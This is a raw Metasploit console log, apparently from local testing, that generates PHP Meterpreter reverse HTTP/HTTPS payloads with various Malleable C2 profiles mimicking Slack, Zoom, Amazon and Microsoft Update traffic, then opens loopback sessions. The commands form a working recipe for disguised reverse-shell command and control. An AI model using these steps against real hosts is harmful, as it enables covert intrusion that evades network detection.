resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60100 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 20kubjzv) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 20kubjzv) Redirecting stageless: URI '/idle/1376547834/1' with UA 'Shockwave Flash' -> UUID wKE-QBWK7-iHPJQz7RNuNwahASDCs5jgUjqpiFikpvgcIo__picTJanhsdGrQDOR-oKQfO74GXn9H1z3QmUfbQdMWRRoNfyWFGhuzuGDiYDJETpaiZpENXe3NNr
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 20kubjzv) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 20kubjzv) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 20kubjzv) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:59920) at 2026-06-15 13:59:08 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
meterpreter > 

slack
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60432 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242

msf payload(php/meterpreter_reverse_http) > 
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 3swb25zo) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 3swb25zo) Redirecting stageless: URI '/messages/C0527B0NM' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID GaUJ5I5C2liymKGX2LdbHgJrvNoJH28FtCEq4gbhnWn79Ta
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 3swb25zo) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 3swb25zo) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 3swb25zo) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:49484) at 2026-06-15 14:01:11 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

stackoverflow
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60424 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 645q0pry) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 645q0pry) Redirecting stageless: URI '/questions/32251816/c-sharp-directives-compilation-error' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID qlDOmOi2_vWNpp6p54lkaQcqBBLAsJSMmUREj_-t-bJGUWUt1cYpcQO_H_qYAKKLnN
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 645q0pry) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 645q0pry) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 645q0pry) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:51188) at 2026-06-15 14:02:23 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

trevor
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60340 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242

msf payload(php/meterpreter_reverse_http) > 
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d03g1bwl) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d03g1bwl) Redirecting stageless: URI '/us/ky/louisville/312-s-fourth-st.html' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID clo4NYNSNbVLbVhiIUKhJwKr1NyEcT78JiWRooqDfngFmq_gXVxVZoSOqxbJPessqQ8s6c0xf_jHbRReJALDNk306Dlm_oIGa5uEFb
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d03g1bwl) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d03g1bwl) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d03g1bwl) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:59354) at 2026-06-15 14:04:27 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
youtube.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60424 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5r43u2zy) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5r43u2zy) Redirecting stageless: URI '/watch' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID YOA5pfUnnDBkfndxDlGUMwbiwgyKVCeYQsJzLJffP7eNn5epsKfxo8FAMpEp62tFOMH_pMl_B1u30ZENZe1chYMCCCOPwjW_MgWDgiWJb7U8Y0xZUjT7g5Cu_-
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5r43u2zy) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5r43u2zy) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 5r43u2zy) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:44268) at 2026-06-15 14:30:06 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
zoom.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/zoom.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/zoom.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60540 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: byelkd06) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: byelkd06) Redirecting stageless: URI '/s/58462514417 /wc/58462514417' with UA 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16C104' -> UUID UXho1qHajOZIGlsVIjW51w9pZ0hS_pH0fSaiY-pwd476ZHx6zAJETNS98yk-YYUmcmB5jPsKzUXZnE2
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: byelkd06) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: byelkd06) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: byelkd06) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:35832) at 2026-06-15 14:36:30 +0200

msf payload(php/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

staged

resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter/reverse_http
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
[*] Writing 580 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter/reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: sg9rwbzy) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: sg9rwbzy) Staging php payload (67426 bytes) ...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: sg9rwbzy) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:37448) at 2026-06-15 14:41:09 +0200

msf payload(php/meterpreter/reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms

https

stageless

resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 59844 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 35uj7m0n) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 35uj7m0n) Redirecting stageless: URI '/0RaxNA1dM2TNA94MpywxKwojXbGJ3i0MpvZHL7STULM0OyXbw0729ujBu54S' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.2903.86' -> UUID 0RaxNA1dM2TNA94Mpywx3wnmnXuIg9yB4Tih9FvojbGRopl694NgA1rmYnZDSoNkyhBU-VPhijOB3599PDI5O02lZFfs0qpEj5Ls3s_C
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 35uj7m0n) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 35uj7m0n) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 35uj7m0n) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:46244) at 2026-06-15 15:23:41 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
amazon.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60444 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: le06ndxp) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: le06ndxp) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID Ci0yYIdSUwCyL6Eg2ABPGgMT0O8qYsiD8LTL5qjn1yTJAyR_DSvt2HihYEfoRvIOMhbWngbtOn25g1I5G0K
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: le06ndxp) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: le06ndxp) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: le06ndxp) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:40612) at 2026-06-15 15:25:10 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
bing_maps.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60520 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
                                             [!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: vl7fcz3p) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: vl7fcz3p) Redirecting stageless: URI '/maps/overlaybfpr' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' -> UUID xI9MB4D70hl_sGy_FZ-C1g1UB6GYFaaI9oRgtVXqfycfNRHJ9lj9GliEKQw4k-kXjNx_q9zDlHVaysUzFDDbBER_
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: vl7fcz3p) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: vl7fcz3p) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: vl7fcz3p) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:43076) at 2026-06-15 15:26:00 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
bingsearch_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60536 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0
msf payload(php/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: jh1p79sq) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: jh1p79sq) Redirecting stageless: URI '/search/' with UA 'Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko' -> UUID VIFGFDpMQX_YxcvKsuom8w1_3lsNH_MVjzs1SW-sgtrGZInVfLE1WaychGHKBZ7btq0qd5TnsU1FdFcu2grh0
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: jh1p79sq) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: jh1p79sq) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: jh1p79sq) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.php is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:54174) at 2026-06-15 15:29:27 +0200

msf payload(php/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux cachyos-x8664 7.0.12-1-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 13 Jun 2026 11:49:00 +0000 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
meterpreter > getuid
Server username: ms
microsoft_update.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> use payload/php/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> generate -f raw -o /tmp/msf.php
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Writing 60112 bytes to /tmp/msf.php...
resource (/home/ms/Desktop/msf_scripts/php_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.php is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(php/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242
